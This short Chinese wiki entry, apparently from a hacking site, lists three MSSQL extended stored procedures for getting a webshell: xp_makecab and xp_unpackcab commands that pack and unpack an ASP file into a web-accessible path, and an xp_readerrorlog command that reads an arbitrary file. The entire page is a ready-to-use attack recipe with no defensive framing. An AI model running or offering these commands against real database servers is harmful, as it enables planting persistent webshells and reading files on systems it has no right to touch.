习科小黑板 - Silic Wiki

获取webshell的3个mssql扩展

##打包
EXEC [master].[dbo].[xp_makecab] 'c:\test.rar','default',1,'d:\cmd.asp'
##解压得到webshell
EXEC [master].[dbo].[xp_unpackcab] 'C:\test.rar','c:',1, 'n.asp'
##读取文本
EXEC [master].[dbo].[xp_readerrorlog] 1,'d:\cmd.asp'